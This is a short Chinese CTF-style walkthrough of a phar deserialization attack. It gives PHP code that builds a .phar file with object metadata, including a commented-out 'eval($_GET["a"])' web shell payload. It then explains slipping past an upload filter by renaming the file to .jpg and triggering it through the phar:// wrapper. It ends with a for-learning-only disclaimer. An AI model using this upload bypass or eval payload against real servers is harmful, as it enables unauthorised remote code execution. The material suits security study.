提示一个upload.php界面,访问一下
我们在本地构造生成我们的.phar文件
<?php
class TestObject {
}
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new TestObject();
#$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
生成好后,尝试上传,发现有过滤不能上传,上传些别的发现.jpg后缀能上传那我们把phar文件改成.jpg后缀(使用phar伪协议时,它是不挑后缀的,一样能解析)
可以看到上传成功,我们在index.php页面使用phar伪协议查看
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。